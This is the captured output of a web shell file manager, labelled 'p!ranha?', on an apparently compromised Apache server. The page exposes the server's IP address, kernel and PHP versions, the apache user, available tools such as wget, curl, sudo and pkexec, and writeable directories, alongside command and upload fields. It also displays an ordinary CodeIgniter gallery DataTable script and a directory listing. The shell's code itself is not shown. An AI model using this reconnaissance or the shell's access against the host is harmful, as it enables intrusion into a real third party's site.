p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/dpmptsp/public_html/newsigniter/application/views/back/pages/media/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /home/dpmptsp/public_html/newsigniter/application/views/back/pages/media/gallery-datatable.php
<script type="text/javascript">

   let tableGallery;
   let base_url = '<?= base_url();?>';

   // Show Table
   $(document).ready(function(){
      tableGallery = $('#tableGallery').DataTable({
         processing: true,
         serverSide: true,
         order: [],
         ajax: {
            'url': "<?= base_url('back/gallery/ajax_list') ?>",
            'type': "POST"
         },
         columnDefs: [
            { 
               'targets': [ 0, 2, 4, 6 ], 
               'orderable': false, 
            },
            { 'width': '5px', 'targets': 5 },
         ],
      });
   });

   // Reload Button
   function reload_table(){
      tableGallery.ajax.reload(null, false);
   }

   // Save Button Modal
   function save(){
      $('#btn_save').text('Saving...');
      $('#btn_save').attr('disabled', true);
      
      var formData = new FormData($('#form')[0]);

      $.ajax({
         url: '<?= base_url('back/gallery/action') ?>',
         type: 'post',
         data: formData,
         contentType: false,
         processData: false,
         dataType: 'json',
         success: function(data){
            if(data.status){
               $('#modalGallery').modal('hide');
               Swal.fire({
                  icon: 'success',
                  title: 'Success',
                  showConfirmButton: true
               });
               tableGallery.draw();
            }else{
               Swal.fire({
                  icon: 'error',
                  title: 'Oops...',
                  text: 'Something Happened!',
                  showConfirmButton: true
               });
               $('#modalGallery').modal('hide');
               $('#btn_save').text('Save');
               $('#btn_save').attr('disabled', false);
            }
         $('#btn_save').text('Save');
         $('#btn_save').attr('disabled', false);
         },  
         error: function(){
            Swal.fire({
               icon: 'error',
               title: 'Oops...',
               text: 'Something Happened!',
               showConfirmButton: true
            });
            $('#modalGallery').modal('hide');
            $('#btn_save').text('Save');
            $('#btn_save').attr('disabled', false);
         }
      }); 
   }

   // Add Menu
   function add_gallery(){
      $('#form')[0].reset();
      $('.modal-title').text('Add Gallery');
      $('#photo-preview').hide(); 
      $('#modalGallery').modal('show');
   } 

   //Edit  
   function edit_gallery(id){
      $.ajax({
         url : '<?= base_url('back/gallery/get_data/') ?>/',
         data: {id: id},
         type: 'post',
         dataType: 'json',
         success: function(data){
            console.log(data);
            $('[name="id"]').val(data.id);
            $('[name="gallery_name"]').val(data.gallery_name);
            $('[name="id_album"]').val(data.id_album);
            $('[name="information"]').val(data.information);
            $('[name="is_active"]').val(data.is_active);

            $('.modal-title').text('Edit Gallery');
            $('#photo-preview').show();
            $('#modalGallery').modal('show');

            if(data.photo){
               $('#label-photo').text('Change Photo'); 

               $('#photo-preview div').html(`
               <img src="${base_url}/images/gallery/${data.photo}" class="img-responsive" style="max-height:250px;">`);

               $('#photo-preview div').append(`
               <br> 
               <input type="checkbox" name="remove_photo" value="${data.photo}"/> Delete Photo`); 
            }else{
               $('#photo-preview div').text('(No photo)');
            }
         },
      });
   }

   // Delete Menu
   function delete_gallery(id){
      Swal.fire({
         title: 'Apakah anda yakin?',
         icon: 'warning',
         showCancelButton: true,
         confirmButtonColor: '#3085d6',
         cancelButtonColor: '#d33',
         confirmButtonText: 'Hapus!'
         }).then((result) => {
         if (result.value) {
            $.ajax({
               type: 'post',
               dataType: 'json',
               url: '<?= base_url('back/gallery/delete'); ?>',
               data: {
                  id: id
               },
               success: function(data){
                  if(data.status){
                     Swal.fire({
                        icon: 'success',
                        title: 'Success',
                        showConfirmButton: true
                     });
                     tableGallery.row( $(this).parents('tr') ).remove().draw();
                     $('#modalGallery').modal('hide');
                     tableGallery.draw();
                  }
               },
               error: function(){
                  $('#modalGallery').modal('hide');
                  Swal.fire({
                     icon: 'error',
                     title: 'Oops...',
                     text: 'Something Happened!',
                     showConfirmButton: true
                  });
               }
            });
         }
      });
   }

</script>
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
January 03 2025 03:29:10
0 / 0
0755
album-datatable.php
4.417 KB
May 22 2021 15:57:24
0 / 0
0644
album.php
3.092 KB
May 22 2021 12:02:22
0 / 0
0644
banner-datatable.php
2.954 KB
March 18 2025 06:25:56
0 / 0
0644
banner.php
2.71 KB
March 18 2025 06:25:16
0 / 0
0644
gallery-datatable.php
4.964 KB
May 22 2021 15:57:40
0 / 0
0644
gallery.php
3.967 KB
May 22 2021 12:04:32
0 / 0
0644